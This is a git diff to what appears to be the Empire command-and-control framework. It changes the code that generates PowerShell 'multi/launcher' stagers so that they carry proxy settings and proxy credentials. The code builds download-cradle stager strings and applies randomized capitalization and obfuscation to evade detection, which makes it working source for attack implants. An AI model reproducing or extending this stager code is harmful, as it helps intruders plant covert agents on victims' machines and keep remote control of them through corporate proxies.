diff --git a/lib/common/empire.py b/lib/common/empire.py
index 3a49fbb..c5fc36c 100644
--- a/lib/common/empire.py
+++ b/lib/common/empire.py
@@ -3006,10 +3006,13 @@ class ListenersMenu(SubMenu):
         if listenerName:
             try:
                 # set the listener value for the launcher
+                listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]
                 stager = self.mainMenu.stagers.stagers['multi/launcher']
                 stager.options['Listener']['Value'] = listenerName
                 stager.options['Language']['Value'] = language
                 stager.options['Base64']['Value'] = "True"
+                stager.options['Proxy']['Value'] = listenerOptions['options']['Proxy']['Value']
+                stager.options['ProxyCreds']['Value'] = listenerOptions['options']['ProxyCreds']['Value']
                 if self.mainMenu.obfuscate:
                     stager.options['Obfuscate']['Value'] = "True"
                 else:
@@ -3116,10 +3119,13 @@ class ListenerMenu(SubMenu):
 
         try:
             # set the listener value for the launcher
+            listenerOptions = self.mainMenu.listeners.activeListeners[self.listenerName]
             stager = self.mainMenu.stagers.stagers['multi/launcher']
             stager.options['Listener']['Value'] = self.listenerName
             stager.options['Language']['Value'] = parts[0]
             stager.options['Base64']['Value'] = "True"
+            stager.options['Proxy']['Value'] = listenerOptions['options']['Proxy']['Value']
+            stager.options['ProxyCreds']['Value'] = listenerOptions['options']['ProxyCreds']['Value']
             print stager.generate()
         except Exception as e:
             print helpers.color("[!] Error generating launcher: %s" % (e))
diff --git a/lib/listeners/http.py b/lib/listeners/http.py
index 720b7d0..ac43b29 100644
--- a/lib/listeners/http.py
+++ b/lib/listeners/http.py
@@ -329,7 +329,9 @@ class Listener:
                             stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
                         else:
                             # TODO: implement form for other proxy
-                            stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('"+ proxy.lower() +"');")
+                            stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('")
+                            stager += proxy.lower()
+                            stager += helpers.randomize_capitalization("');")
                             stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
                         if proxyCreds.lower() != 'none':
                             if proxyCreds.lower() == "default":